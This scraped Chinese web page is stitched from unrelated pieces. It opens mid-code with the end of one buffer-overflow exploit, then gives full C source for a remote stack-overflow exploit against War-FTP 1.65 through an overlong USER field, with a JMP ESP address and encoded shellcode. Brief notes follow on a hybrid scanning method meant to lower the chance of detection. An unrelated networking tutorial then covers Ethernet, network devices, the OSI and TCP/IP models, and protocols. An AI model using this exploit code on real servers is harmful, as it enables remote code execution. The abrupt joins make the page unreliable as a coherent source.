           struct sockaddr_in ipAddress;

        SOCKET s;

        if (argc < 3)

        {

            fprintf(stderr, "Usage: %s remote_addr remote_port", argv[0]);

            exit(1);

        }

        if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

        {

            printf("[-] WSAStartup failed./n");

            WSACleanup();

            exit(1);

        }

        s = socket(AF_INET,SOCK_STREAM,0);

        ipAddress.sin_family = AF_INET;

        ipAddress.sin_addr.s_addr = inet_addr(argv[1]);

      

        ipAddress.sin_port = htons(atoi(argv[2]));

        connect(s,(struct sockaddr *)&ipAddress,sizeof(ipAddress));

        memset(Buff, 0x90, sizeof(Buff)-1); // NOP 填充

        memcpy(&Buff[0],"ping ",5);

        memcpy(&Buff[3005],"/r/n/0",3); // sizeof("ping ")+3000=3005

        memcpy(&Buff[1017], JUMPESP,4); // sizeof("ping ")+1012=1017

        memcpy(&Buff[19], shellcode,sizeof(shellcode)-1); // sizeof("ping ")+4=9   

       

       

        memset(Recv,0,sizeof(Recv)); //010b670b

        recv(s,Recv,sizeof(Recv),0);//ef4686ab 0129670b

        nRet=send(s,Buff,sizeof(Buff),0);   

        Sleep(1000);

        WSACleanup();

    }

    3.3.2        基于WarFtp的一个漏洞

     此漏洞的主要是针对war-ftp 1.65,当用户在执行登录时,若其用户名输入长度大于485,则会发生溢出错误。

    相关源代码如下:

     #include <stdio.h>

    #include <winsock.h>

    #pragma comment(lib,"ws2_32")

     

    #define JUMPESP "/x12/x45/xfa/x 7f "

     

     

    // exec calc

    char shellcode[] =

    "/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x49/x49/x49/x49/x49/x49"

    "/x49/x49/x49/x49/x49/x49/x49/x37/x49/x49/x49/x49/x51/x 5a /x 6a /x42"

    "/x58/x50/x30/x41/x31/x42/x41/x6b/x41/x41/x52/x32/x41/x42/x41/x32"

    "/x42/x41/x30/x42/x41/x58/x50/x38/x41/x42/x75/x38/x69/x79/x 6c /x 4a "

    "/x48/x67/x34/x47/x70/x77/x70/x53/x30/x6e/x6b/x67/x35/x45/x 6c /x 4c "

    "/x4b/x73/x 4c /x74/x45/x31/x68/x54/x41/x68/x 6f /x 6c /x4b/x70/x 4f /x57"

    "/x68/x6e/x6b/x71/x 4f /x45/x70/x65/x51/x 5a /x4b/x67/x39/x 4c /x4b/x50"

    "/x34/x 4c /x4b/x77/x71/x68/x6e/x75/x61/x4b/x70/x4e/x79/x6e/x 4c /x4d"

    "/x54/x4b/x70/x72/x54/x65/x57/x69/x51/x49/x 5a /x46/x6d/x37/x71/x 6f "

    "/x32/x 4a /x4b/x58/x74/x77/x4b/x41/x44/x44/x64/x35/x54/x72/x55/x 7a "

    "/x45/x 6c /x4b/x53/x 6f /x51/x34/x37/x71/x48/x6b/x51/x76/x 4c /x4b/x76"

    "/x 6c /x50/x4b/x6e/x6b/x71/x 4f /x67/x 6c /x37/x71/x68/x6b/x 4c /x4b/x65"

    "/x 4c /x 4c /x4b/x64/x41/x58/x6b/x4b/x39/x53/x 6c /x75/x74/x46/x64/x78"

    "/x43/x74/x71/x49/x50/x30/x64/x6e/x6b/x43/x70/x44/x70/x 4c /x45/x 4f "

    "/x30/x41/x68/x44/x 4c /x4e/x6b/x63/x70/x44/x 4c /x6e/x6b/x30/x70/x65"

    "/x 4c /x4e/x4d/x 6c /x4b/x30/x68/x75/x58/x 7a /x4b/x35/x59/x 4c /x4b/x4d"

    "/x50/x58/x30/x37/x70/x47/x70/x77/x70/x 6c /x4b/x65/x38/x57/x 4c /x31"

    "/x 4f /x66/x51/x48/x76/x65/x30/x70/x56/x4d/x59/x 4a /x58/x6e/x63/x69"

    "/x50/x31/x6b/x76/x30/x55/x38/x 5a /x50/x4e/x 6a /x36/x64/x63/x 6f /x61"

    "/x78/x 6a /x38/x4b/x4e/x 6c /x 4a /x54/x4e/x76/x37/x6b/x 4f /x4b/x57/x70"

    "/x63/x51/x71/x32/x 4c /x52/x43/x37/x70/x42";

     

     

    int main(int argc,char* argv[])

    {

           WSADATA WSAData;   

        char buf[3008];

           struct sockaddr_in ipAddress;

        SOCKET s;

        if (argc < 3)

        {

            fprintf(stderr, "Usage: %s remote_addr remote_port", argv[0]);

            exit(1);

        }

        if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

        {

            printf("[-] WSAStartup failed./n");

            WSACleanup();

            exit(1);

        }

        s = socket(AF_INET,SOCK_STREAM,0);

        ipAddress.sin_family = AF_INET;

        ipAddress.sin_addr.s_addr = inet_addr(argv[1]);

      

        ipAddress.sin_port = htons(atoi(argv[2]));

        connect(s,(struct sockaddr *)&ipAddress,sizeof(ipAddress));

           memset(buf,0x90,sizeof(buf)-1);

           memcpy(buf,"USER ",5);

           memcpy(buf+5+485,JUMPESP,4);                     //jmp esp:77d 7c 5fb

           memcpy(buf+5+485+4+10,shellcode,sizeof(shellcode)-1);

           memcpy(buf+5+485+4+10+sizeof(shellcode)-1,"/r/n",sizeof("/r/n"));

     

            char sbuf[1023] ;

            int i = recv(s,sbuf,sizeof(sbuf),0);

            sbuf[i] = '/0';

            printf("%s/n",sbuf);

         SOCKET ret=send(s,buf,sizeof(buf)-1,0);

         if(ret<0)

            {

             printf("send err/n");

             return -1;

            }

            printf("发送成功");

         send(s,"PASS liu /r/n",sizeof("PASS liu /r/n")-1,0);

         WSACleanup();

            return 1;

    }

    4.     相关技术的改进及展望

    就当前的网络扫描技术而言,主要是采用主动式的方法来得到目标系统的信息,其技术应用方面成熟,但相关的安全产品应大都有所防范,所以在这里我设计一种基于主动式加被动式的扫描技术,即运用嗅探技术进行被动扫描效果,同时运行主动式扫描进一步获得目标信息。由于这是一种混合式的技术,故被发现的概率相比于单纯主动式将会降低。

    5.     总结

    经过对当前流行的扫描技术的分析与测试,我觉得未来的扫描技术发展趋势将是主动加被动式的混合扫描,这种扫描方式的大规模应用,将会得到另人意想不到的效果。

     

     

     

    展开全文
  • 003 IP网络技术基础

    千次阅读 2019-02-26 22:23:42
    以太网(Ethernet)是由Xerox(施乐)公司开发的一种基带局域网技术,是当今现有局域网采用的最通用的通信协议标准。 共享式以太网(即用HUB连接的局域网)采用带冲突检测的载波帧听多路访问(CSMA/CD)机制。 ...

    一、以太网(Ethernet)

    以太网概述
    • 以太网(Ethernet)是由Xerox(施乐)公司开发的一种基带局域网技术,是当今现有局域网采用的最通用的通信协议标准。
    • 共享式以太网(即用HUB连接的局域网)采用带冲突检测的载波帧听多路访问(CSMA/CD)机制。
    • 以太网中节点都可以看到在网络中发送的所有信息,因此,我们说以太网是一种广播网络。
    • 在新近的网络设计时一般采用物理上是星型结构,逻辑上是总线结构。
    以太网帧格式
    • 以太网出现两种MAC帧结构:
      • 一种是以太网DIX V2标准定义的帧结构;
      • 一种是IEEE802.3标准定义的MAC帧结构。
      • DIX V2 标准与 IEEE 的 802.3 标准只有很小的差别,通常可以将 802.3 局域网简称为“以太网”。
    DIX Ethernet V2帧格式

    在这里插入图片描述

    • 引导码为 1 和 0 交替的64比特,其最后两位是 “11”,可以通知目标站作好接收准备。
    • 类型字段说( 正如端口号 )用于指定接收数据的高层协议。
    • 数据字段 至少 46 字节,但不超过 1500 字节。
    • 如果数据大于 1500 字节, 该帧有错,被视为超长帧 ( Jabber)。
    • 如果数据小于 46 字节,则必须加填充字节( pad ),或被视为超短帧 (runt )。
    • FSC是指帧校验序列。
    802.3 帧格式

    在这里插入图片描述

    • IEEE 802.3帧的前导码占用7个字节,紧随其后的是长度为1个字节的帧首定界符,表示一帧实际开始。
    • 源地址,目的地址,FCS字段与 Ethernet 的定义相同。
    • 类型字段则由长度字段替代,在该字段后是数据的字节数。
    • 需要额外的字段来规定上一层的协议。此字段定义为目的地服务访问点 (DSAP)、 源服务访问点 (SSAP)。
    • 控制字段 (CTRL) 对LAN 并不附任何功能。
    以太网分类

    IEEE802.3规定了包括物理层的连线、电信号和介质访问层协议的内容,以太网是当前应用最普遍的局域网技术,它很大程度上取代了其他局域网标准。如令牌环、FDDI和ARCNET。

    以太网包括:

    • 标准以太网(10Mbit/s)
    • 快速以太网(100Mbit/s)
    • 千兆以太网(1000Mbit/s)
    • 10G(10Gbit/s)以太网
    标准以太网
    • 快速、可靠、低廉、易于安装维护
    • 使用粗同轴电缆、细同轴电缆、非屏蔽双绞线、屏蔽双绞线和光纤等多种传输介质进行连接
    • 传输速率是10Mbps,不同传输介质支持的最大网段长度不一样
    快速以太网
    • 快速、可靠、低廉、易于安装维护
    • 支持3、4、5类双绞线以及光纤的连接,支持全/半双工工作方式
    • 传输速率是100Mpbs,在使用单模光纤为传输介质时,最大通信距离能达到3000米
    千兆以太网
    • 快速、可靠、低廉、易于安装维护
    • 采用了与10M以太网相同的帧格式、帧结构、网络协议、全/半双工工作方式、流控模式以及布线系统
    • 千兆以太网技术有两个标准:IEEE802.3z和IEEE802.3ab。IEEE802.3z制定了光纤和短程铜线连接方案的标准。IEEE802.3ab制定了五类双绞线上较长距离连接方案的标准。
    • 传输速率是1000Mpbs
    万兆以太网
    • 以全双工方式连接到网络交换器等网络设备,并不支持半双工模式与CSMA/CD
    • 只能在光纤上传输,传输速率是10GMbps

    二、常用网络通信设备

    互联网(Internet)概述
    • 随着微型计算机的广泛应用,大量的微型计算机是通过局域网连入广域网,而局域网与广域网、广域网与广域网的互连是通过路由器实现的;
    • 在Internet中,用户计算机需要通过校园网、企业网或ISP联入地区主干网,地区主干网通过国家主干网联入国家间的高速主干网,这样就形成一种由路由器互联的大型、层次结构的互联网络。
    交换机
    • 交换机(英文:Switch,意为“开关”)是一种用于电(光)信号转发的网络设备。它工作在数据链路层,可以为接入交换机的任意两个网络节点提供独享的电信号通路。
    • 交换机在同一时刻可进行多个端口对之间的数据传输。每一端口都可视为独立的物理网段(注:非IP网段),连接在其上的网络设备独自享有全部的带宽,无须同其他设备竞争使用

    交换机的三个主要功能:

    • 学习:以太网交换机了解每一端口相连设备的MAC地址,并将地址同相应的端口映射起来存放在交换机缓存中的MAC地址表中。
    • 转发/过滤:当一个数据帧的目的地址在MAC地址表中有映射时,它被转发到连接目的节点的端口而不是所有端口(如该数据帧为广播/组播帧则转发至所有端口)。
    • 消除回路:当交换机包括一个冗余回路时,以太网交换机通过生成树协议避免回路的产生,同时允许存在后备路径。
    集线器(HUB)
    • 集线器,英文称为“Hub”。
    • HUB是一个多端口的转发器,当以HUB为中心设备时,网络中某条线路产生了故障,并不影响其它线路的工作。所以HUB在局域网中得到了广泛的应用。
    • 集线器的主要功能是对接收到的信号进行再生整形放大,以扩大网络的传输距离,同时把所有节点集中在以它为中心的节点上。
    • Hub属于纯硬件网络底层设备,基本上不具有类似于交换机的"智能记忆"能力和"学习"能力。它也不具备交换机所具有的MAC地址表,所以它发送数据时都是没有针对性的,而是采用广播方式发送。
    中继器(Repeater)
    • 中继器(Repeater)工作于OSI的物理层,是局域网上所有节点的中心,它的作用是放大信号,补偿信号衰减,支持远距离的通信。
    • 实际上,通过中继器连接起来的网络相当于同一条电线组成的更大的网络。
    • 中继器也能把不同传输介质的网络连在一起,多用在数据链路层以上相同的局域网的互连中。
    路由器(Router)
    • 路由器(Router),是互联网络的重要设备之一,工作在网络层,路由器最基本的功能是转发数据包。
    • 在同个路由器实现的互联网络中,路由器要对数据包进行检测,判断其中所含的目的地址,若数据包不是发向本地网络的某个节点,路由器就要转发该数据包,并决定转发到哪一个目的地址(可能是路由器,也可能是最终目的节点)以及从哪个网络接口转发出去。

    路由器的功能:

    • 隔绝广播,划分广播域
    • 通过路由选择算法决定最优路径
    • 转发基于三层目的地址的数据包
    典型IP城域网拓扑

    在这里插入图片描述

    宽带接入服务器(BAS)
    • BAS 全称:Broadband Access Server/ Broadband Remote Access Server)
    • BAS是一种设置在网络汇聚层的用户接入服务设备,可以智能化地实现用户的汇聚、认证、计费等服务
    • BAS还可以根据用户的需要,方便地提供多种IP增值业
      BRAS
    数字用户线路接入复用器(DSLAM)
    • DSLAM是Digital Subscriber Line Access Multiplexer的简称,即数字用户线路接入复用器。
    • DSLAM是各种DSL系统的局端设备,属于最后一公里接入设备(the last mile)
    • 其功能是接纳所有的DSL线路,汇聚流量,相当于一个二层交换机。
    光通信网络组网结构

    在这里插入图片描述

    光线路终端(OLT)
    • OLT: optical line terminal(光线路终端),用于连接光纤干线的终端设备
    • 向ONU(光网络单元)以广播方式发送以太网数据;
    • 发起并控制测距过程,并记录测距信息;
    • OLT除了提供业务汇聚的功能外,还是集中网络管理平台。
      • 在OLT上可以实现基于设备的网元管理和基于业务的安全管理和配置管理。
      • 不仅可以监测、管理设备及端口,还可以进行业务开通和用户状态监测,而且还能够针对不同用户的QoS/SLA要求进行带宽分配。
    光网络单元(ONU)
    • ONU (Optical Network Unit) 光网络单元,ONU分为有源光网络单元和无源光网元单元
    • 选择接收OLT发送的广播数据;
    • 响应OLT发出的测距及功率控制命令;并作相应的调整;
    • 对用户的以太网数据进行缓存,并在OLT分配的发送窗口中向上行方向发送;
    家庭网关(HomeGate)
    • 一个在家庭内的网络化信息设备与智能宽带接入网之间的智能化网关,将家庭外部的接入网络和家庭内部网络联系起来。
    • 作为所有外部接入网连接到家庭内部,同时将家庭内部网络连接到外部的一种物理接口;
    • 使住宅用户可以获得各种家庭服务(包括现有的服务和未来可能出现的服务)的平台。

    三、关键网络技术

    接入网技术 - ADSL
    • ADSL属于DSL技术的一种,全称Asymmetric Digital Subscriber Line( 非对称数字用户线路),亦可称作非对称数字用户环路,提供的上行和下行带宽不对称.
    • ADSL技术采用频分复用技术把普通的电话线分成了电话、上行和下行三个相对独立的信道,从而避免了相互之间的干扰。用户可以边打电话边上网,不用担心上网速率和通话质量下降的情况。
    接入网技术 -无源光网络(PON)
    • Passive Optical Network无源光网络。目前PON是实现FTTB/FTTH的主要技术。
    • PON是一种采用点到多点(P2MP)结构的单纤双向光接入网络。PON系统由局端的光线路终端(OLT)、光分配网络(ODN)和用户侧的光网络单元(ONU)组成,为单纤双向系统。在下行方向(OLT到ONU),OLT发送的信号通过ODN到达各个ONU。在上行方向(ONU到OLT),ONU发送的信号只会到达OLT,而不会到达其他ONU。为了避免数据冲突并提高网络效率,上行方向采用TDMA多址接入方式,并对各ONU的数据发送进行管理。ODN在OLT和ONU间提供光通道。
    接入网技术 - EPON/GPON
    • Ethernet Passive Optical Network,以太网无源光网络,EPON是基于以太网技术的宽带接入系统,它利用PON的拓扑结构实现以太网的接入。它采用点到多点结构、无源光纤传输,在以太网之上提供多种业务。EPON不仅能综合现有的有线电视、数据和语音业务,还能兼容未来业务如数字电视、VoIP、电视会议和VOD等,实现综合业务接入。
    • GPON(Gigabit-Capable PON) 技术是基于ITU-TG.984.x标准的最新一代宽带无源光综合接入标准,具有高带宽,高效率,大覆盖范围,用户接口丰富等众多优点,被大多数运营商视为实现接入网业务宽带化,综合化改造的理想技术。
    虚拟局域网(VLAN)
    • 在计算机网络中,一个二层网络可以被划分为多个不同的广播域,一个广播域对应了一个特定的用户组,默认情况下这些不同的广播域是相互隔离的。不同的广播域之间想要通信,需要通过一个或多个路由器。这样的一个广播域就称为VLAN。
    • 虚拟局域网(VLAN)中设备和用户并不受物理位置的限制,可以根据功能、部门及应用等因素将它们组织起来,相互之间的通信就好像它们在同一个网段中一样
    • 与传统的局域网技术相比较,VLAN技术更加灵活,它具有以下优点: 网络设备的移动、添加和修改的管理开销减少;可以控制广播活动;可提高网络的安全性。

    四、IP网络体系结构

    网络体系结构的概述

    网络协议的概念

    • 计算机网络中为进行数据传输而建立的一系列规则、标准或约定称为网络协议(Protocol)。

    网络层次的概念

    • 不同系统中的实体的通信任务十分复杂,相互间不可能作为一个整体来处理,否则任何一方的改变,就要修改整个软件包。
    • 层次结构使用结构化的设计和实现技术,即把协议按功能分为若干层次,每层完成一定的功能(同层协议),并对其上层提供支持(接口)。
    • 由于通信功能是分层实现的,因而进行通信的两个系统就必须具有相同的层次结构,两个不同系统上的相同层称为同等层或对等层。

    计算机网络采用层次化结构的优越性

    1. 各层之间相互独立。
    2. 灵活性好。
    3. 易于实现和维护。
    4. 有利于网络标准化。
    OSI参考模型
    • 国际标准化组织 (ISO,international standards organization)和一些科研机构、大的网络公司做了大量的工作,在1983年提出了开放式系统互连参考模型(ISO/OSI RM,international standards organization/open system interconnect reference model)。
    • OSI参考模型将整个网络通信的功能划分为7个层次,由底层到高层分别是物理层、链路层、网络层、传输层、会话层、表示层和应用层。
    • 每层完成一定的功能,都直接为其上层提供服务,并且所有层次都互相支持。
    • 第4层到第7层主要负责互操作性,而1~3层则用于创造两个网络设备间的物理连接。

    OSI七层参考模型层次划分
    在这里插入图片描述

    • 物理层:规定了通信连接端口与传输媒体的物理和电气特性,比特数据的同步和传输方式。
    • 数据链路层:负责建立和管理节点间的链路,通过各种控制协议,将有差错的物理信道变为无差错的、能可靠传输数据帧的数据链路。。
    • 网络层:控制数据链路层与传输层之间的信息转发,建立、维持和终止网络的连接。
    • 传输层:向用户提供可靠的端到端的差错和流量控制,保证报文的正确传输。
    • 会话层:负责建立、管理和终止表示层实体之间的通信会话。该层的通信由不同设备中的应用程序之间的服务请求和响应组成。
    • 表示层:提供各种用于应用层数据的编码和转换功能,确保一个系统的应用层发送的数据能被另一个系统的应用层识别。
    • 应用层:OSI参考模型中最靠近用户的一层,为应用程序提供网络服务。

    计算机网络从逻辑上可以划分为通信子网和资源子网。
    从功能的角度看,OSI参考模型的下四层(物理层、数据链路层、网络层、传输层)主要提供电信传输功能,以节点到节点之间的通信为主;
    上三层(会话层、表示层、应用层)则以提供使用者与应用程序之间的处理功能为主。
    即下四层属于通信功能(通信子网),上三层属于处理功能(资源子网)。

    TCP/IP协议

    TCP/IP协议是目前最流行的商业化网络协议,尽管它不是某一标准化组织提出的正式标准,但它已经被公认为目前的工业标准或“事实标准”。因特网之所以能迅速发展,就是因为TCP/IP协议能够适应和满足世界范围内数据通信的需要。
    TCP/IP协议具有以下几个特点。
    (1)开放的协议标准,可以免费使用,并且独立于特定的计算机硬件与操作系统。
    (2)独立于特定的网络硬件,可以运行在局域网、广域网,以及互联网中。
    (3)统一的网络地址分配方案,使得整个TCP/IP设备在网中都有惟一的地址。
    (4)标准化的高层协议,可以提供多种可靠的用户服务。

    TCP/IP参考模型
    与ISO/OSI参考模型不同,TCP/IP体系结构将网络划分为应用层、传输层、互联层、和网络接口层4层。

    在这里插入图片描述
    TCP/IP的分层体系结构与ISO/OSI参考模型有一定的对应关系
    在这里插入图片描述
    TCP/IP体系结构中各层的功能

    • 网络接口层:网络接入层与OSI参考模型中的物理层和数据链路层相对应。它负责监视数据在主机和网络之间的交换。事实上,TCP/IP本身并未定义该层的协议,而由参与互连的各网络使用自己的物理层和数据链路层协议,然后与TCP/IP的网络接入层进行连接。地址解析协议(ARP)工作在此层,即OSI参考模型的数据链路层。
    • 互联层:网际互联层对应于OSI参考模型的网络层,主要解决主机到主机的通信问题。它所包含的协议设计数据包在整个网络上的逻辑传输。注重重新赋予主机一个IP地址来完成对主机的寻址,它还负责数据包在多种网络中的路由。该层有三个主要协议:网际协议(IP)、互联网组管理协议(IGMP)和互联网控制报文协议(ICMP)。
    • 传输层:传输层对应于OSI参考模型的传输层,为应用层实体提供端到端的通信功能,保证了数据包的顺序传送及数据的完整性。该层定义了两个主要的协议:传输控制协议(TCP)和用户数据报协议(UDP)。
    • 应用层:应用层对应于OSI参考模型的高层,为用户提供所需要的各种服务,例如:HTTP、FTP、Telnet、DNS、SMTP等

    五、IP网络通信过程及网络协议

    在网络中,数据都是从源端发出,经过网络传达到目的端。若主机A要与主机B的交换数据,交换过程如图所示。
    在这里插入图片描述
    网络中两台主机的网络协议流程
    在这里插入图片描述

    1.主机A在应用层的操作

    • 主机A启用一个网络应用时,A自动打开本机上的一个大于1024的端口(动态端口),做为访问网络服务的源端口。目的端口根据主机A申请的网络服务而定,为保留端口。
    • 主机A的应用程序将发送的数据表示为网络上通用的格式。(OSI表示层功能)
    • TCP/IP的应用层为每一个具有源端口与目的端口的数据流建立一个单一的会话。即使访问同一网络服务,源端口是不同的。如同时访问HTTP(不同网页)。
    HTTP协议
    • 超文本传输协议( HyperText Transfer Protocol)
    • 传输互连网Web数据的协议
    • 运行在TCP之上——HTTP 的知名端口是 80
    • HTTP 是传送页面内容的协议
    • 页面的格式是由HTML代码组成的

    HTTP协议流程
    在这里插入图片描述

    DNS协议
    • DNS(Domain Name System),计算机域名系统
    • 将主机名和IP地址对应起来的一种机制
    • 通常情况下 DNS 运行在 UDP 之上——DNS 的知名端口是 53
    • DNS 使用 TCP 来进行域名传送
      DNS 查询示例
      在这里插入图片描述

    2.主机A在传输层的操作

    • 传输层在传输数据前将数据分段,每个分段称为Segment。
    • 主机A在传输层为数据分段添加控制信息,TCP或UDP头。主要是源端口、目的端口和顺序号。源端口和目的端口表示数据是由哪个协议或应用程序发出的,送到哪个应用程序及协议。顺序号是该数据段在整个数据流中的位置。
    传输层协议:TCP

    在这里插入图片描述

    • Transmission Control Protocol,传输控制协议,是第 4 层面向连接的协议。
    • TCP 提供下列可靠流的功能:
      — 在网络端点间的数据可靠,透明传送。
      — 端到端差错检测和恢复以及数据流控制。
      — 用户数据和高层协议的分段和重组。

    TCP三次握手(Three -Way Handshake)
    在这里插入图片描述
    在这里插入图片描述为建立连接,TCP使用三次握手 。
    确保双方准备好传送数据。
    也使双方明确其初始序列号。
    三次握手为的是双方准确的同步。
    “握手”期间能发数据,但必须保持该数据,直到握手完毕。

    TCP协议封装过程
    在这里插入图片描述

    TCP包头结构
    在这里插入图片描述
    每个 TCP 段可分为标题 ( 首部、或头标 ) 和后随的数据两部分
    源端口和宿端口 (Source and Destination ports)识别连接的每一端的应用。
    序列号 (Sequence Number) 可识别数据字段中的字节流位置。
    应答号 (Ack Number )可视为源端已收到最高字节的位置。
    偏移量 ( Offset )是该段的数据位置 (任选字段为可变长 )

    UDP协议
    • User Datagram Protocol,用户数据报协议
    • UDP 是无连接、不可靠的第 4 层协议。
    • UDP 消息也许会丢失、重复 或无序到达。
    • 由于无流量控制,消息到达对方比有流控的来得快。
    • 就象 IP那样, 从一个设备到另一个设备运载 UDP 消息 。
    • 正如TCP为上层协议那样,UDP 使用相同的端口号机制 。

    UDP协议的数据包头格式
    在这里插入图片描述
    –宿端口(Destination port)指明该数据报直接对应的上层协议。
    –源端口(Source port ) 是任选的 (若不用,则为 0 ) ,并记为数据报的源端口。
    –长度 (Length )是以包括首部在内的八位组( octets )计。
    –校验和 (Checksum)是任选的 (若不用,则为 0 ) ,并且端口号不用。
    ----带有UDP的IP数据报获取 IP 地址,则需计算。
    ----如果校验和是正确的,则无错到达的消息和端口也是正确的。

    TCP和UDP协议之间的比较
    • UDP和TCP协议的主要区别是两者在如何实现信息的可靠传递方面不同。
    • TCP协议中包含了专门的传递保证机制,当数据接收方收到发送方传来的信息时,会自动向发送方发出确认消息;发送方只有在接收到该确认消息之后才继续传送其他信息,否则将一直等待直到收到确认信息为止与TCP不同;
    • UDP协议与TCP协议相比,具有明显的速度优势,因此在有些情况下,UDP协议可能会变得非常有用。因为虽然TCP协议中植入了各种安全保障功能,但是在实际执行的过程中会占用大量的系统开销,无疑使速度受到严重的影响。而UDP由于排除了信息可靠传递机制,将安全和排序等功能移交给上层应用来完成,极大地降低了执行时间,使速度得到了保证。

    3.主机A在网络层的操作

    • 在每个数据分段的前面封装IP头,网络层把数据分段封装为数据包(Packet)。包头中,主要是源IP和目的IP地址。
    • 源IP地址是主机A的,目的IP地址是主机B的。
    IP协议

    在这里插入图片描述

    • Internet Protocol,网际协议
    • IP 显然是现代网间互联 (internetworking )的出色协议。
    • 它也是一个不可靠的、无连接的投递机制 。
    • 任何 IP 数据报也许会丢失、重复 或被投错,并不会予以通。
    • IP 规定了数据格式、分组处理 和出错处理。

    IP报头格式
    在这里插入图片描述

    –Version 是 IP 规范所发布的版本号 4 (IPv4)或 快要使用的IP版本 6(IPv6)。
    –服务类型(Type of Service)字段可分为 优先级 ( Precedence ), D 比特, T 比特和 R比特:
    –生存期 (Time to Live:TTL), 度量单位为秒, 表明数据报的寿命。当路由表指明为一循环,该消息将被移去。 它采用一种简单的时间估价,由每个路由器扣去 1 秒 ( 一个TTL单位)。
    –上层协议(Next Protocol) 说明了“数据”直接投到哪个高层协议,如UDP或TCP。该字段的值应取自标准表。

    DHCP协议
    • DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一个局域网的网络协议,使用UDP协议工作, 主要有两个用途:给内部网络或网络服务供应商自动分配IP地址,给用户或者内部网络管理员作为对所有计算机作中央管理的手段。
    • DHCP协议采用客户端/服务器模型,主机地址的动态分配任务由网络主机驱动。当DHCP服务器接收到来自网络主机申请地址的信息时,才会向网络主机发送相关的地址配置等信息,以实现网络主机地址信息的动态配置。

    DHCP请求IP地址过程
    在这里插入图片描述

    –主机发送DHCPDISCOVER广播包在网络上寻找DHCP服务器
    –DHCP服务器向本网络发送DHCPOFFER单播数据包(回复主机的DHCP报文、目的地址为主机地址所以单播),包含IP地址及地址租期等;
    –主机发送DHCPREQUEST广播包,正式向服务器请求分配已提供的IP地址;
    –DHCP服务器向主机发送DHCPACK单播包,确认主机的请求

    ICMP协议

    在这里插入图片描述
    Internet Control Message Protocol,互联网控制消息协议,工作在网络层。

    • ICMP 承载差错报告消息,封装在 IP 数据报的数据字段部分。
    • 当装载在IP中(象一个第 4 层协议) ,ICMP 是认为IP扩展的最佳选择。
    • 该ICMP消息是 由 IP 数据报上一层协议字段来标注 。
    • ICMP 报头是编了码的,呈现的差错映射到对应的编号。
      为了采集和解释ICMP 消息,分析仪是必不可少的仪器。

    ICMP报头格式
    在这里插入图片描述
    –ICMP消息类型的扩展表,归纳如下:
    ----信宿不可达 Destination Unreachable (3): 网络,主机,协议或端口不可达。
    ----请求分片但不允许,源路由失效。
    ----超时 (11): 数据报在转送或重装时失效。
    ----参数问题 (12): 发送IP报头 + 8字节的 出错报文。
    –这些消息形成了基本的差错报告功能。

    4.主机A在数据链路层的操作

    • 数据链路层在数据包前面封装数据帧头,主要是源MAC地址和目的MAC地址;在数据包后面封装校验位,从而把数据包封装成数据帧(Frame)。根据网络传输介质的不同,数据帧的格式也不同。
    • 同一网段内,源MAC为主机A的,目的MAC为服务器B的。如果主机A不知道B的MAC地址,可以向交换网络上发送ARP广播,解析到B的MAC地址。
    • 不同网段时,源MAC为主机A的,目的MAC为路由器AE0接口的MAC地址。因为ARP广播不能通过路由器。
    ARP和RARP
    • 地址解析协议ARP (Address Resolution Protocol)和反向地址解析协议RARP
    • 计算机网络中各主机之间要进行通信时,必须要知道彼此的物理地址(OSI模型中数据链路层的地址)。因此,在TCP/IP的网际层有ARP协议和RARP协议,它们的作用是将源主机和目的主机的IP地址与它们的物理地址相匹配。

    地址解析协议ARP
    在这里插入图片描述

    5.主机A在物理层的操作

    • 物理层负责把数据帧转化成在网络介质上传递的电子信号。通过接口发送出去。

    6.交换机A上的工作

    • 不能对数据进行任何的改动,只是根据数据帧的目的MAC地址将数据帧转发给路由器A。

    7.路由器A上的工作

    • 拆帧头,根据目的IP地址,在自己的路由表里查找路径,知道必须经过路由器B.
    • 源IP地址和目的IP地址是不变的。如果有使用NAT主机(网络地址转换),则源私有IP地址,转换为公有IP地址,路由器A的S0口的IP。
    • 封装帧头,源MAC地址是路由器A的S0口的,目的MAC地址是路由器B的S0口的。
    • 将封装的数据,转发给路由器B。

    8.路由器B上的工作

    • 拆帧头;
    • 根据目的IP查找自己的路由表,看自己是否有到达该目的地的路径。发现目的IP在自己的E0口直连的网段,路由器B向该网段发出一个ARP解析广播,查找服务器B的MAC地址。
    • 在收到回应后,路由器B以自己的E0口的MAC为源MAC,以服务器B的MAC为目的MAC,封装数据帧。
    • 转发给交换机B.
    • 注:IP地址没有改动。

    9.交换机B上的工作

    • 不做改动,转发给服务器B。

    10.FTP服务器B上的工作

    • 逐层拆封。在传输层将数据段组和,传给应用层的端口。
    • 如果FTP服务器B向主机A发送数据,目的地址时218.68.45.2,然后,路由器A再转换为其目的IP192.168.1.2。
    • 远程主机之间的数据传输是依靠IP地址标明目的地,而通过不断变换源MAC地址与目的MAC地址传输数据。
    展开全文
  • 网络加速技术

    2019-12-25 16:00:17
    下面的文章介绍几种硬件网络加速技术: RSS Receive Side Scaling利用多核能力加速网络包的处理。 RSS使用前后CPU负载对比 原来的方式是一个核负责处理网络包,处理完之后通过中断方式通知需要这些网络包的应用在...
  • 电脑各种错误信息的中文意思网络技术,比如: 、BIOS中的提示信息 提示信息 说明 Drive A error 驱动器A错误 System halt 系统挂起 Keyboard controller error 键盘控制器错误 Keyboard error or no ...
  • 首届广西网络安全技术大赛初赛通关攻略前言第一次参加安全类比赛(好吧,其实我这种宅男参加的比赛都很少,很多种比赛都是第一次 - -),同组的组员建议我在比赛完写个通关攻略出来。听起来不错,写个通关攻略,顺便...
  • 路由器运作原理以及网络互连技术

    千次阅读 2018-12-01 18:46:45
    IP header checksum failed. ICMP-Redirect From router to a source host With a better route information 需要路由器向源发送ICMP重定向的情况有两种: 当路由器从某个接口收到数据包后,还要将数据包从同一个...
  • IP协议 Header Checksum算法

    千次阅读 2015-11-05 16:17:09
    IPv6包的校验依赖高层的协议来完成,这样的好处是免去了执行checksum校验所需要的时间,减小了网络延迟 (latency)。 Identification ,  flags 和 fragment offset ,这三个包都是为碎片化(fragmentation)...
  • 作者:【吴业亮】博客:http://blog.csdn.net/wylfengyujiancheng定义通用路由封装协议GRE(Generic Routing Encapsulation)可以对某些网络层协议(如IPX、IPv6、AppleTalk等)的数据报文进行封装,使这些被封装的...
